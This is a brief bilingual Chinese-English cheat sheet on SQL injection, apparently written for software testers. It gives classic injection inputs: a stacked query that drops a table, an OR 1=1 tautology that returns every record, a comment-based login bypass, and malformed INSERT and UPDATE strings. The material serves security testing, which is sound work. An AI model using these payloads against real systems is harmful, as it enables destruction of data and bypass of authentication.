关于sql注入

删除表，先猜表名，可以使用下面的语名：

Select * from A where A.a = ‘testdata’; drop table A---’;

If a field only allow number, give it a String or others 假如一个字段仅仅只允许使用一个数字，传给他一个字符串或者其它类型。

Use ‘OR 1=1’, get all records in query function 使用‘or 1=1’ 能得到所有的查询记录

Select * from A where A.a = ‘testdata’ OR ‘1’=’1’;

In login function, give user name field like ‘username’--’, “--’ and A.password = ‘’” is commented

在登录功能，给用户传 ‘username’--’, “--’ and A.password = ‘’”

Select * from user A where A.username = ‘username’--’ and A.password = ‘’;

Adding records function, if there is 4 fields in this table, add 5 fields, eg.

添加一条记录，假如这条表只有4个字段，那就多加一个字段

Normal: Insert into table A values(‘’,’’,’’,’’);

Test Data: Insert into table A values(‘’,’testdata’,’’,’’,’’);

Input test data in or out of this field data

Add single quotation marks and semicolon, and break off string splicing, this is similar with point 4

Update table A set A.a = ‘testdata’;--’

Yellow partis test data we input

巴特西